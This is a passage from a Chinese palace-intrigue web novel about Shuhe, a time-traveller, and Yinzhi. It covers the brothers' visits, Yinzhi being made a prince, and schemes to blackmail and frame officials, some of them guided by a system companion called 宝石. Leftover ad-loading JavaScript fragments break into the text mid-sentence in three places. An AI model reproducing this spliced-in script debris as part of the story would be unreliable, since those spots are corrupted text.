感觉不对劲的舒禾垂眸摇了摇头,“我这刚醒,就想接着睡的情况,正常吗?” 该不会是饭菜里面被下蒙汗药了吧? 胤褆并没有领会到舒禾想表达的潜在意思,回想了一下和李维的谈话内容。 “挺正常的,李维说,刚生产后的妇人身体空虚,身体会陷入那什么,啧,那个关键词我给忘了,但是大略意思就是,会在睡眠中修复身体。” “这样啊,那也难怪我这么困了,你忙吗?如果忙,就去忙吧,我接着睡会。” “没事,不忙,等你睡着了我再出去。” “好。” 进入睡梦的前一秒,舒禾还在想,等有时间,一定要找宝石花钱买个身体体检,没有确切数据,总觉是不太放心。 话说回来,宝石呢? 要说宝石在哪,宝石正腻在刚出生的小崽崽身边,逗弄着疑似能看到他存在的小崽崽,离想起回家,预计还需要个几天。 这边,舒禾睡着后,胤褆小心翼翼地退出产房,回到前院书房,推开门,赫然看到了不该在的人。 “你怎么来了?咱们两个现在的关系,你不该来。” 胤礽放下手中把玩着的核桃,好笑道:“大哥喜得贵女,孤上门祝贺,有何不妥?” 胤礽这么一说,胤褆瞬间想起自己上次去毓秀宫找得那不走心的借口,比起他的那个,胤礽这个,合理了不止一星半点。 既然不会引起其他人的注意,胤褆也没了赶人的心思,礼也懒得行了,自顾自走到胤礽旁边大刀阔斧地坐下,给自己倒了一杯茶。 “说吧,过来有什么事?” 33.兄弟齐聚 面对胤褆的问话,胤礽答非所问道:“大哥这身上,可真是五味杂揉,精彩的很啊。” “有话直说,别搁这卖弯子。”逼急了,他直接赶人,反正外人眼中,他和太子关系不好,赶了也就赶了。 “下次,还是整理好再出来吧,孤可以不计较你的失礼之处,别人,可就不一定了。” 胤褆看着胤礽向上指得手指,瞬间想到了头上那位对待儿媳宛如恶公公的皇阿玛,轻咳一声,“多谢。” “不用谢,”胤礽笑眯眯的摆了摆手,“我这次来……” “等等!” 胤礽不解地歪了歪头,“等什么?” 当然是等我做好心理准备了,这都不自称孤了,一看就是有事相求,他这边不做好一为难就拒绝准备行吗? 胤褆在心里面暗自吐槽了两句,方才对着胤礽比了个手势,“现在可以说了。” 奇奇怪怪的,胤礽在心里面想。 “我这次来,一是想让大哥帮我把这封信带着叔父。”说着胤礽从袖中掏出一封密封好的信推到胤褆面前,“二是来恭贺大哥一声,除喜得贵女外,还将得偿所愿。” “得偿所愿……你的意思是,皇阿玛那边,有意让我出宫建府了?” 胤礽微微颔首,“不是有意,而是已经决定,圣旨已经拟好,只等满月宴的时候,双喜临门。” 听到确切的消息,胤褆脸上不由得漫上喜色,但他还有一丝疑惑,“你怎么知道皇阿玛拟了圣旨?” 而且连确切时间都知道。 “圣旨,孤拟的。”开府的位置,他定的,就连胤褆能这么快就开府出去,中间也少不了他拱火。 要不然就凭皇阿玛那希望所有人都聚在一起,享天伦之乐的思想,出去?呵,老死在紫禁城吧! “不是,你这什么眼神?想打架?”胤褆被胤礽看渣渣一样的目光看得火大,活动了一下手腕,一副打架随时恭候的模样。 他想打,胤礽却不愿意奉陪,随便应下不擅长领域的挑衅,不得不说,很蠢。 但是就这么放着胤褆的挑衅不管,也不行,所以胤礽自然而然的转移了话题。 “大哥在兵部将近五个月,可有什么收获?掌握几分?” “兵部势力势力盘根错杂,是以到现在,也只掌握了四分。” “孤记得,大嫂的阿玛,也在兵部吧?大哥可别放着到手的人脉不用啊。” 胤褆对着胤礽大喇喇的翻了个白眼,“爷像是那放着人脉不用的人?现在的结果,就是用了之后的!” “兵部,应该不复杂吧?”胤礽眼神复杂的看了胤褆一眼,“这么久才掌握那么一点,大哥你……不行?” “滚,你才不行呢!” 看着胤褆因一句话破防的样子,胤礽默默记下‘不行’两个字可以令胤褆破防,准备下次有机会了把胤褆骗到毓秀宫再说一次试试。 今天就算了,他人现在还在南三所,不想一会一身狼狈地走出去,也不想让整个紫禁城传他的谣。 “别光说我了,你那边总不能只是搞定了我出宫建府的事。” 胤礽从自己的思绪中回过神,对着胤褆摇了摇头,“不止,孤还让皇阿玛同意了征招海军的折子,四弟入户部,三弟入礼部,以及孤一个月前往六部视察的权利。” “你去视察,他真能同意?”胤褆眼里面满是诧异,根本就不相信胤礽说的话。 说实话,他很想相信,但就他现在还是个光头阿哥就能看出来,他皇阿玛把手里面的权利捏地有多紧。 让身为太子的胤礽去视察六部,这就相当于把拉拢人的机会送到了胤礽手里,这…… “一开始不同意,但,无奈大哥的招数实在好用。” “我的招数?” 他能有什么……嗯,等等,莫非是指抱着大腿耍赖那个? 面对胤褆一脸不可置信的表情,胤礽缓缓点了点头,表示:没错,就是你想得那样。 一分钟后,胤褆回过神来,揉了揉眉心,“你真真是疯了,居然用这么一招。” “说来,孤用这一招,好像比大哥用,好使得多。” “呵——呵呵。”他以后再也不用这招了!太子用过的玩意,他嫌弃! “咚咚咚——爷,四阿哥来了,可要请进来?” “老四?”胤褆扭头和胤礽对视一眼,两人眼中不约而同闪过一丝暗色。 胤礽微微颔首,胤褆扭头对着外边扬声道:“直接带来书房。” 不一会,门外响起由远及近的脚步声,光是听着就能知道外边的人到了哪。 嘎吱一声,门被推开,尚还穿着一身朝服的胤禛走进来,见房内不止坐着胤褆不由得一愣,旋即正常行礼。 “弟弟参见太子二哥、大哥,早好。” 胤禛维持了一会弯腰行礼的姿态,见没人应声,抬起一只眼悄然看去。 只见常人眼中关系不好的两人,此刻正在疯狂对眼神,不知道的,还以为他们两个被什么邪神附体了。 又过了一会,胤礽注意到从旁看过来的一道视线,和胤禛对上视线。 想到刚才和老大使眼色而忘了这个弟弟,不好意思地轻咳一声,一拍身边的位置,“嗯,过来坐。” “谢太子二哥,”胤禛坐好后,看着两个哥哥,好奇的问道:“大哥,二哥,你们两个刚才是在对眼神吗?” 不是,就这么问出来了?胤褆和胤礽双双震惊。 胤褆怒瞪胤礽:你教的好弟弟,一点人情世故都不懂,都不懂! 胤礽无辜回望:孤也没想到四弟能耿直到这种地步啊?更何况,都是皇子了,还要什么人情世故? “大哥,二哥,你们两个还在……弟弟是不是来的不是时候?要不我想走,过一会再来?” “啧,不用,说吧,过来干什么。” “来看小侄女,顺便送礼。”胤禛从袖中把包好的玉佩拿出,双手递给胤褆。 胤褆接过玉佩,随手放到一边,语气明显缓和了不少,“你小侄女不在南三所,恐怕你要白跑一趟了。” “不在?” “嗯,在我额娘那里,洗三礼也在那里办。” 胤礽淡淡地抿了一口茶,“把自己孩子扔给额娘看着,大哥,以前还是孤小看你的脸皮了。” “你不说话也没人会忽视你。” “孤知道,但孤就是想说。” 两人对视的瞬间,房间的气氛骤然沉闷下来,无意陷入两人争斗的胤禛扯了扯唇角,还没来得及提出告辞,外边传来了敲门声。 “爷,三阿哥、五阿哥、七阿哥……十阿哥来了,您看?” 得,这下子走不了了,胤禛起来一半的屁股瞬间落座,脸上满是生无可恋的表情。 “啧,都让他们进来!” 就等在书房门口的几人一听到让进去了,推开门就走了走进,以毒舌出名的胤禟一开口就是老阴阳人了。 “哟,大哥这么生气,是不待见我们兄弟几个啊?” “胤禟!” “九哥!” 胤誐和胤祺同时开口,手上也不约而同的拽向胤禟,唯恐胤禟因为这张嘴被揍。 胤褆见了,冷笑一声,直接开怼,“呵,九弟这话说的,倒像是我请你来的,不乐意待就滚,再不行,练武场见!” “行啊,练武……唔唔!” “哎哟我的九哥啊,你就别说话了。”胤誐捂着胤禟的嘴退到最后边,小声劝道。 谁不知道现在他们这些兄弟里面,属老大的武艺最好,真凑上去,那不是纯纯给对方添人肉靶子嘛! 这边,胤祺见胤禟被拖着下去了,对着胤褆拱手道:“大小九嘴上没把门,但心不坏,还请大哥见谅。” “五弟,你站出来替他道歉,他领情……” “咳咳!”胤礽突然咳嗽两声,打断了胤褆接下来的话,“大家都是兄弟,用不着弄这么僵,这次的事,我做主,就这么算了。” “太子二哥和皇阿玛一样,就知道粉饰太平。” 听到那微小的,来自最后面的声音,胤礽脸上的笑容僵住,直至消失不见,与他相反的是旁边坐着的胤褆,原来阴的能滴下脸,瞬间转晴,笑得那叫一个灿烂。 胤祉找好座位坐下后,回头发现一起来的弟弟们,没一个动的,疑惑出声。 “哎,你们怎么都不坐啊?” “坐,这就坐,劳三哥费心了。” 几个弟弟同手同脚找位子坐的样子,看的胤祉一阵莫名其妙。 倒是胤褆脸上的笑容更灿烂了几分,心情不错地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开口,“无事不登三宝殿,说吧,过来有什么事。” 胤褆问完,没人回话,胤誐扫视一圈,为了不让话落地上,接话道:“也没什么大事,就是听说小侄女出生了,想着来看看,顺便送点小玩意。” “送的东西放这,你们人可以走了。” “大哥,你都不让我们看看小侄女的吗?” “哈拉在延禧宫她妈妈那,不在南三所。” “延禧宫?惠额娘的宫里?为什么会在那?” “听说皇阿玛给赐了名,这个就是吗?” 听了两个弟弟的问题,胤褆直接挑了感兴趣的那个回复,“不是,皇阿玛赐下的名字是乌雅束,哈拉是我起的小名。” “大哥,你是这个。”胤祉对着胤褆竖起大拇指,真心佩服他,公然反抗皇阿玛起的名,恕他胤祉直言,在座的,除了太子,恐怕没人再敢了。 “行了,你们几个没事就回去吧。” 这话已经是第二次赶客了,有那不好意思的已经起身告辞了,当然,这里面绝对不包括胤禟。 胤禟留下了,和他关系最好的胤誐自然也没有走,除此之外,身为胤禟亲哥的胤祺顾念着宜妃让他照顾弟弟的嘱咐,也留了下来。 最后就是明面上站队胤褆的胤禩,他也留了下来。 一轮过后,房间内还余七个人。 胤禩不走也就罢了,好歹是从小跟着他的,胤禟不走…… 胤褆奇怪的扫了一眼胤禟,“你为什么不走?” “嘿嘿,大哥,小九求你个事呗。” 胤褆刚想问是什么事,余光瞥到恨不得把自己缩起来的胤礽,眼神一眯,开口的话就变了。 “求我不如求太子,要知道,咱们兄弟里面,可只有太子的能耐最大。” “大哥!”胤礽恨地咬牙切齿,胤褆这个不要脸的居然把他拖下水! “太子二哥~” 这含糖量超标的一声哥哥,听得胤礽浑身上下鸡皮疙瘩都快起来了,不着痕迹的抖抖胳膊,没好气道:“有什么就说,能帮得上的,孤酌情帮忙,帮不上的,你就算是把天说破了也不行。” 得到这么个回答的胤禟也不气垒,毕竟他自认他的要求就是个小要求。 “我想经商,太子二哥能不能帮我给皇阿玛说一声,让他同意啊?” 此话一出,房间内众人的神色各异。 胤誐抬手掩面恨不得拉着胤禟就跑,胤祺则是一脸的恨铁不成钢,胤禛和胤禩皆是一脸呆滞,很明显被惊到了。 胤褆脸上浮现一抹诧异,很快隐没,却到底是留下了痕迹。 胤礽则是无语,很无语,胤禟想经商这事,他知道,之前胤禟不想上学去御书房求皇阿玛经商时,他就在屏风后边学习 。 只是他没想到,当时被拖下去打了板子挨了教训的胤禟还敢提起经商。 不过没想到归没想到,他并不想帮胤禟去说这一看就不能实现的事,刚想开口拒绝,就感觉放在桌上手背一凉。 扭头看去,是胤褆把茶水用手指弹到了他手上,而在他看过去之后,胤褆眼中表达的意思是——让他答应下来? 胤礽不解拧眉,老大终于疯了? 先答应下来,胤褆无声的传达着这个意思。 两人对峙片刻,胤礽扭头答应了胤禟,“此事,孤会帮你给皇阿玛说,只是成与不成无法保证,你且回去,一个月之内给你传消息。” “好!谢太子二哥!” 走了三个,还剩下两个碍事的,胤褆和胤礽不约而同的开始赶人。 “小四,你先回去,明天去毓秀宫找我。” “小八,回去吧,这里没什么事。” “弟弟告退。”胤禛干脆利落的起身告退。 胤禩等胤禛离开后,瞟了一眼太子,小声开口:“大哥,惠额娘让你洗三那天过去,说你不过去的话,孩子以后就都不给你见了。” 他额娘还真是有够幼稚的,居然让小八来传这么一句话。 “爷知道了,回去告诉额娘,洗三礼那天我一定到场。” “话也带到了,那弟弟告退。” “嗯。” 房间内只余两人后,胤礽毫不客气地扭头质问,“说吧,刚才为什么要孤答应小九那根本就不可能的要求?” 34.搞事情 “你猜?” “呵,不说是吧?行,你让孤答应的事,你自己去办。” 已经告了假,胤褆并不想早早去见皇阿玛,当即就决定把自己的打算和盘托出。 “一是小九愿意,二是咱们需要一个自己的钱袋子,小四虽然在户部有了职位,但你也知道,户部的人比起兵部,说一声老油条都不为过,想掌握户部,没个四、五年根本就不可能做到。 就算是做到了,户部的钱,也是国库里面的,国库那就是皇阿玛的钱袋子,咱们几个动了,虽说不会杀头,但也好过不到哪去。 如今小九有这个意向,咱们培养一下,权当做提前投资了,想必这些天,你也知道了没钱不好办事这个道理。” 胤礽微微颔首,“没钱确实不好办事。” 索额图进不了宫,外加明面上被抄家一无所有,不好直接给他送钱,他平日里打赏宫人、拉拢人才的钱都不够用了。 “所以,办吗?” “办!” 听胤礽答应了,胤褆扬起一抹真心实意地笑,对以后翻身养福晋有了更大的期望。 说完了胤禟的事,两人又就着现在进行的几项事情谈论了一番,瞅着时间差不多了,胤礽就提出了告辞。 有上头那尊大佛盯着,他们两个来往太过于密切,是要出事的。 送走了一干兄弟,胤褆起身伸了个懒腰,走到书桌前坐下,翻开写了一半的计划书,拿起毛笔,删删改改又新添了不少内容。 时间似水般流过,眨眼就来到了一个月后的满月宴。 出了月子的舒禾整装待发,和胤褆来到延禧宫一起给刚满月的小哈拉过满月宴。 满月宴的主角只在众人视线内待了一刻钟就回了殿内,反而是作为大人的几人陪客到很晚。 满月宴的一天都在忙忙碌碌中度过,伴随着正午时一封出宫建府的圣旨,仿佛昭示了往后半年的忙碌生活一样。 时康熙三十年,九月二十八日。 在这个钦天监测定好的吉日,两人收拾好南三所的一应物件,又去延禧宫看了一眼小哈拉,方才出宫前往历经半年才修建好的府邸。 前脚出宫,后脚封爵的圣旨就从乾清宫送了出来。 待到两人到府,圣旨也恰好到达。 “奉天承运,皇帝诏曰: 皇一子协助追击葛尔丹,战场上表现勇猛,数立战功,入朝为官后,更是为国为民,所做甚好……今册封皇一子,爱新觉罗.胤褆,为多罗直郡王,上两旗之统袖,钦此——” 魏珠读完后,见胤褆呆愣着没动,以为他这是太过惊喜了还没回过神,便笑着提醒道:“郡王,接旨吧。” “儿臣谢恩领旨,”胤褆朝着紫禁城的位置一叩首,方才起身接过魏珠递过来的圣旨。 胤褆起来了,舒禾自然是没有再跪下去的理由,顺着秋雨地搀扶站起身,对事办完还不走的魏珠笑笑,垂在身侧的手微动。 秋霞会意,从袖中拿出四个荷包,分给前来颁旨的几个小太监和魏珠,其中,魏珠的荷包自然是最大的那个。 在接到荷包后,魏珠脸上扬起一抹灿烂地笑,总算是识相的提出了告辞。 碍眼的人走了,留下一封顺眼的圣旨。 舒禾扭头和欲说话的胤褆对视一眼,眼神示意进去再说,现在这刚出宫,东西还没整理好,堵在门口说话,平白给人看热闹。 一刻钟后,舒禾和胤褆一前一后走进布置好的书房,舒禾坐上首,胤褆坐旁边,两人皆是目光炯炯地盯着那封圣旨,仿佛看到了什么奇怪的东西。 良久,胤褆没忍住开口道:“舒禾,你说这圣旨会不会是有人伪造的?” “不可能,伪造圣旨封爵,那都不是不要小命了,那是连九族都不想要了。” “但这爵位……”胤褆一言难尽的看向舒禾,很明显的表达了什么。 至于想表达什么,舒禾懂,不仅胤褆不解,她更不解,康熙那么抠一个人,这次封爵这么豪爽的直接给封了个爵王,真真是听着都让人觉得不可置信。 要知道按照之前他们两个的推测,这次出宫建府只有胤褆一个,若是封爵,必定不可能封太高,贝勒顶天、贝子打底。 郡王……那是想都没敢想的事。 想不明白,实在是想不明白。 胤褆烦躁地一扫圣旨,干脆来了个眼不见为净,转而谈论起了其他事宜。 “这次我出宫建府,算是兄弟里面头一个,暖房宴时来的人必定不可能少了,之前那些歇了心思想支持我夺嫡的人,想必小心思又该起来了。” “但是他们不知道你已经私底下和太子和解了,所以他们的打算必定是无用功。” “没错,但……” 两人对视一眼,舒禾扬起一抹腹黑的笑,“但我们记下名单,威胁他们替我们办事,如果不办……” “那就把这份名单送给太子,权当做是送个顺水人情。” 两人异口同声说完,相视一笑,笑容中是如出一辙的腹黑。 在府邸如火如荼的整理下,郡王府各个地方很快就进入了正式运转中,暖房宴的帖子也尽数发了出去。 暖房宴当天,来往官员可以说是络绎不绝,光是收礼都收了一大屋子。 晚上窝在房内盘点一天收获时,看着礼单,胤褆小声感慨:“一个暖房宴就送这么多东西,说这些官员没贪,谁信啊!” “你信不信无关紧要,主要是皇阿玛信啊,行了,把给你示好的官员名单给我,我整理一下。” “给,”胤褆掏出李阔记好纸放到舒禾纸上,单手托头看着忙碌的舒禾同时碎碎念道:“我觉得吧,皇阿玛他也不信,但他是皇帝,讲究的是一个平衡之道,面对这些小打小闹都是睁一只眼闭一只眼。 毕竟朝堂给的那些俸禄,真不够干什么的,就拿索额图那事来说,如果他没有买官卖官只是贪污,凭太子的关系,风头过后,他半点事都不会有。” “错了。” “嗯?哪错了?” 舒禾放下手中的毛笔,将手伸到胤褆面前,垂眸看着自觉给她揉手腕的胤褆,淡声道:“有太子在,就算是买官卖官他也不会有什么事。 因为赫舍里一族是太子外家,而他这外家目前只有太子撑门面,在其他赫舍里族人成长起来之前,太子需要索额图给他撑门庭。” “但索额图现在已经退朝了。” “他退朝的前提,是明珠一起下去,若你真的有和太子夺位的打算,此招,下下策,伤敌一千自损八百。” 听了舒禾的分析,胤褆大大方方的拱手认输,“舒禾聪慧,我甘拜下风。” “我不聪慧,我现在的见解,不过是站在历史前行者的角度上得出的结论。”而一直身处其中,还撑了那么多年的胤褆,才是真的聪慧。 “不管,我就觉得舒禾最聪慧。”说完,胤褆一脸你不认同我就闹的表情。 殊不知,就他那张脸,根本就不适合做这种表情,做这种表情根本就是在糟蹋他那张帅脸。 无奈,她只有欣赏权没有所有权,为了不让自己的眼睛继续遭殃,舒禾无奈道:“你说什么就是什么可以了吧?” “这还差不多,行了,你继续写,我看着。” 舒禾点点头收回手,继续抄写两份名单,还没抄一会,胤褆又开始了作妖。 “你这女眷名单怎么这么多?” 他的那份名单却那么少,怎么地,还搞针对看不起啊? “听说过夫人外交和枕头风吗?” “枕头风倒是有所了解,夫人外交是指?” “有时候男人自恃身份做不出投诚的事,就会把打算告诉自己的夫人,让她去找需要投诚之人的夫人,通过女眷之间的友谊达成目的。” 听完了,弄明白了,胤褆面露不屑,“连自己真实想法都不敢表露的男人,还有脸自恃身份,愚蠢。” 想到什么,不屑转变为玩味,“舒禾,一会抄完后,把女眷的名单给我一份,我有用。” “行。”舒禾问都没问胤褆要干什么就答应了下来。 她不问,胤褆却想说。 “我打算派人找出这些都是谁的女眷,然后和他们好好玩玩。” 恰好他最近办得事需要几个替死鬼…… 听出胤褆的语气不对,舒禾抬眸规劝道:“玩玩可以,但别把人逼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到绝路,要不然依照现在的局势,反扑一口,也够咱们受的。” “放心,我有分寸。” 口口声声有分寸的胤褆,半个月后成功玩脱,被打了板子送回家不算,还被罚了半个月禁足。 看着趴在床上只哼哼的胤褆,舒禾无奈将手里面的毛巾扔进水盆,“别哼哼了,说说看你都干了什么。” 她不过半个月不关注,居然能把自己搞成这样。 胤褆把脸趴在枕头上,闷闷不乐道:“和太子谋算的事没成,还不小心露了点马脚,为防全盘皆输,我就直接把暴露出来的那点子事都认下来了。” 闻言,舒禾心中一紧,赶忙追问道:“什么暴露了?” “放心,暴露的不是大事,要不然我也不能就这么回来。” “那你倒是说什么暴露了!” “我和太子对那些游手好闲的八旗子弟下手的事暴露了,皇阿玛说我们两个忘本,忘了入关时都是谁和我们一起打的天下。”说这话时,胤褆一脸的郁闷。 看着胤褆郁闷的脸,舒禾抬手在他脸上揉了一把,不走心的安慰道:“行了,这次的事咱们就当长个教训,下次办事再仔细着点就是了。” 舒禾的敷衍胤褆自然是听出来了,当即就开始闹了。 “舒禾,你不关心我了,居然……” “啪!趴好!” 那一巴掌力道不大,只是起到一个警戒作用,但是胤褆却下意识按照舒禾说的做了。 要问为什么,嗯……可能是潜意识告诉他,不识相照做他会比现在还惨吧。 见胤褆乖乖听了,舒禾面色和缓,“没有不关心你,若是真的不关心你,我早就走了,何苦在这陪着你?” “嗯,我知道,刚才就是话赶话随口那么一说。” “好,那么咱们接下来谈谈怎么把这事报复回去。” “呃……恕我直言,舒禾你想弑君的话,我不能帮你,毕竟再怎么样,皇位上坐着的都是我,嘶——怎么又打我。” “因为你该打,我只说个报复,你就把人选定成了最大面那个,你这嘴,迟早有一天害了你!” “不报复皇阿玛,那报复谁?” 见胤褆还说,舒禾缓缓抬起手,又是一巴掌,胤褆不明白自己为什么又被打,可怜巴巴的捂着胳膊被打到的地方,控诉地看向舒禾。 被这样的目光看着,舒禾面无表情的脸渐渐松动,半晌,幽幽的叹了一口气,开始给他分析利弊。 “平时说归说闹归闹,但是真有什么不好意思的话或者词,一定要避开皇阿玛和太子……” 胤褆拧着眉打断道:“皇阿玛也就算了,为什么太子也要避开!” “就凭不出意外太子以后会坐到皇阿玛现在那个位置。” “哼,坐不坐得上还不一定呢,那么多兄弟……” 舒禾眉心跳了跳,总算是明白为什么历史上的胤褆能够说出请杀太子四个字了,这位就是个纯正的反骨仔。 害怕接下来胤褆还会说出什么惊人的话,舒禾连忙打断道:“保清!别忘了,现在咱们和太子是一条绳上的蚂蚱!” “行行行,我不说了,”胤褆烦躁的拽住被拿到前面的辫子扯了扯,“早知道,我就不放弃夺位的机会了。” “好了~不说这个了,话归刚刚,朝上状告你们的哪几个?” “礼部尚书和礼部侍郎,”胤褆回想着说道:“还有一个户部的。” “你之前针对的有他们吗?” “有礼部那两个,但没户部的那个。” “礼部那两个可以说是有怨抱怨,户部那个有点不对劲,先别管礼部那两个,着重查户部那个,查完他再查另外两个。” 她可不会因为看似合理就不查他们。 胤褆微微颔首,“好,回头我让人送了信进宫,给太子吱一声,让他好好查查。” “嗯,查出来了先按下不发,安排两个人假装受不了他压榨的人,举报他贪污受贿。” “他真的贪污受贿了?”胤褆好奇的问道。 舒禾无辜的耸耸肩,“这谁知道呢?” 反正啊,这些个官,一个个都清白不了多少。 35.预备出海 胤褆一愣,旋即扬起一抹略有深意的笑,“是,确实,谁知道呢。” “到时,你先这样……然后再……” 次日一早,胤礽刚上完早朝回到毓秀宫,就收到了来自胤褆的传信。 一脸狐疑地打开折成一团的纸条,看清楚上面写的是什么后,胤礽只感觉眉心突突直跳,深感之前把胤褆当个对手的自己太蠢了,蠢到现在的他都看不上之前的他。 冷着一张脸把手里面的纸团扔进墨水中,看纸团被墨浸透后,方才扬声道:“来人!” “殿下,有何吩咐?”江鸿从外走进,低声问询。 “换墨,顺便让江竹安排一下,孤要出宫。”出宫去给那个没事找事的老大邦邦两拳。 “殿下,您出宫这事,是否需要先去跟皇上请示一下?” “……不用,直接出宫。” 江鸿退出去后,胤礽方才强压下的烦躁之色瞬间涌上眼眸,他不烦皇阿玛管他,相反,有时候他还挺喜欢的,因为皇阿玛管着他证明在乎他。 但是他现在都十七了,婚事都订了下来,若不是石家那姑娘要守孝,现在都该成亲了。 所以就算是管着,也该有个限度了吧? 凭什么其他领了差事的兄弟想什么时候出宫就什么时候出宫,偏他得时时刻刻汇报?就因为他是太子吗? 今天他还偏就不汇报了!大不了就也给他禁足! 此刻叛逆心理涌上心头的胤礽已然是一副天不怕地不怕的心态,等江竹通知他准备好了,可以出宫了时候,二话不说就跟着走了。 等康熙收到自家太子出宫的消息,已经是半个时辰后了,人都出紫禁城不知道多大会了,根本就追不回来了。 “废物!一群废物!太子出宫,为什么不赶紧来人禀告?还不赶紧去找!若是太子出事,你们九族的脑袋都不够赔的!” “是是是——皇上息怒,奴才这就安排人去找,您千万要保重龙体啊!” 紫禁城的一系列大动作胤礽并不知道,此刻的他刚看到被禁足的胤褆。 因着知道胤褆昨天刚挨了板子,是以胤礽也没想着让胤褆起来给他行礼,自顾自地找了个地方坐下。 胤礽不说行礼这事,胤褆自然不会没事找事提起,见胤礽找地方坐了,拿起因胤礽进来而被搁置在一边的黄桃罐头继续吃。 胤礽看胤褆吃的津津有味的样子,有些馋但又不知道他吃的什么,略带好奇地问道:“你吃的什么?” “罐头。” “哦,那罐头是什么?” “罐头、罐头是什么……啧,你管它是什么,知道它是吃的不就行了嘛!” “大哥,你该不会也不知道吧?”就算是胤褆不说话,但是光看看胤褆羞恼的表情,胤礽就知道自己猜对了,索性继续猜道:“这东西孤没在紫禁城里面见过,证明这京城中也不曾有,更甚者,其他地方可能也没有,它该不会是大嫂……” “行了,别搁这装神棍了,那边还有一罐,吃就拿上。” “很明显的做贼心虚,但看在你拿东西堵孤嘴的份上,孤就不继续说了。” 胤褆无语地翻了个白眼,“吃就吃,那么多废话,吃都堵不上你的嘴。” 不一会,胤礽也吃上了这个新奇玩意,甜滋滋的味道令胤礽享受地眯了眯眼,咽下嘴里面的黄桃,正色道:“这玩意还有多的吗?” “有当如何,没有又当如何?” “有就给孤拿些,没有就算了。”毕竟他也不能强迫其他人无中生有。 胤褆冷眼扫了胤礽一眼,内心不屑他这装模作样的说辞,“等罐头店开张,自己派人买去。” “罐头店开张?还没有开张,你这是哪来的?” “我家福晋心疼我受伤,特意给我拿的呗。” “罐头店是大嫂开的,那玻璃器具店也是大嫂开的吧?” 要不然谁家好人舍得用玻璃罐子装啊,虽然玻璃器具这些年价格疯狂下跌,但也不是普通人能够消费得起的。 达官显贵虽说能够消费得起了,但奢华到用它做卖东西的容器,却几乎没有。 “你爱怎么猜怎么猜,现在说说看你来找我干什么。” “你说让我查户部那个,这事容易,交给小四就行,但是礼部那两个,不好办,你知道的,胤祉在礼部。” 不会办,不代表不能办,全看想不想办,是以胤褆并没有过多留意这个,而是提起了拉拢胤祉的想法。 “把胤祉拉进来一起干怎么样?” “不妥,胤祉被荣额娘惯的已经有点废了,拉他进来,得不偿失。” 胤礽这么一说,胤褆就又想起了胤祉私会后宫宫女的事,当即就放弃了拉他入伙的想法,但他们在礼部也不能没人…… “把小八安排进礼部怎么样?” 胤礽并没有第一时间否定胤褆的这个办法,而是细细思索了一番才道:“如果你确定小八不会背叛你,那就可以。” “再等个两三年,小八年纪差不多了,就让他进礼部吧。” “可以。” 胤礽答应下来后话锋一转,“海军正在征集这事皇阿玛一直跟进着,孤插不进去手,但孤预备着说服皇阿玛将八旗子弟送进去。” 胤褆咋舌着感叹道:“你这一招,够狠。” “皇阿玛他也烦那些游手好闲的八旗子弟,只是抹不开面而已,有了台阶,他一定会顺势下来。” “他也烦八旗子弟,还打我板子!” “这次打你板子是平众怒,让你禁足是让你避风头……” “你都知道朝堂上还那么紧张!” 胤礽无奈地摊手,“孤不知道,说实话,孤也是看到大哥挨了板子还这么生龙活虎,刚猜到的。” 胤褆无语地看着胤礽,如果他生活在现代,高低来一句装逼怪,同样知道那么多事,就你能猜。 “别这样看孤,要不然真的让人很想揍你。”而现在的你趴在床上可打不过孤。 言外之意两人都知道,胤褆烦闷地喝了一大口糖水,随后对着胤礽摆摆手,赶人道:“事都说完了,你可以走了。” “再等等。” 等、等什么? 约莫半个时辰后,胤褆知道他在等什么了,敢情等得是禁卫军围他的府邸啊! 站姿奇怪的站在门口,目送禁卫军离开的背影,胤褆突然道:“皇阿玛还是一如既往的控制欲强盛。” “嗯,幸好咱们已经搬出来了。” “走吧,回正院。” 胤褆抬手牵住舒禾的手,挥退欲过来搀扶的下人,一步一瘸地走回正院。 屏退下人后,房间内只余两人,一时间难免有些静寂。 “舒禾,你说,咱们什么时候能离开这里?” 听出胤褆话里面有丧气的意味,舒禾害怕他被今天这一出打击到,起身走到他身边坐定,握着他的手坚定道:“很快,如果将离开的进程分为十段,那么咱们现在已经走完了其中五段。” “有那么多吗?” “有!”舒禾一一细数他们这半年来的成果,“盛京那边囤积的粮食以达十仓之多,累积的银钱更是有国库的一半,借着职务便利豢养的士兵也已训练得差不多了,有需要就可以投入……小九那边,更是已经成了名副其实的钱袋子,还有四弟……” 凡此种种,经过舒禾一一细数,胤褆也对这半年来的成果做到了心里有数。 方才因胤礽出宫不过一会就被禁卫军找上门的丧气劲已经过去,重归平时神采奕奕的模样,抱着舒禾亲了一口,雄赳赳气昂昂地去了书房,立志更努力的干活,争取早一日离开这囚禁自由的牢笼! 胤褆离开后,舒禾撑着桌子单手托腮,冷然道:“宝石,下一步该怎么走?” 【按照计划,下一步该是想办法进一步激化海关口矛盾,引起康熙对外不满,并安排人引导他生出派人出使各国以了解情况的想法。】 “出使各国啊——胤褆怎么样?” 【舒禾,我这边并不建议让胤褆去,一是人选是他,可能会造成莫须有的变故,二是外边诱惑太多,我并不相信他能把持住。】 听了宝石的分析,舒禾有些讶然,她还以为宝石不怎么懂男女之间的事…… 压下心中纷杂的思绪,手指轻叩桌面,“他不行,那人选就要好好商定一番了。” 【确实,因着清朝各种制度,咱们安插人进朝堂的计划实施十分不顺利,到现在能用的没几个,还因为各种限制,不能想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 用就用。】 “先观察着吧,那么多年都等了,也不在乎再多等这三、五个月的。” 【说到这个,我觉得你该给自己放个假,自打半年前出了月子,你一天天忙得跟个陀螺一样,再这样下去,我都害怕你转着飞走喽。】 舒禾被宝石说的话逗笑,顺着他的话调侃道:“我什么时候变成陀螺了,你自掏腰包买个魔法再把我变回来不就好了!” 【可是,这里不让用魔法。】 “哦天呐,不让用魔法,那我可怎么办,我不想变成陀螺啊!”舒禾夸张地用手捂着嘴,一脸后怕的假哭,“呜呜——宝石,你可要帮帮我,毕竟你也不想你看大的孩子就这么飞了吧?” 看着假哭明显的某人,宝石一脸正经的说道,【放心,休息个五天,就不会变陀螺了。】 “那听你的,休息五天。” 【我记得你在京郊有一个庄子,庄子上有温泉、马场,去那里怎么样?】 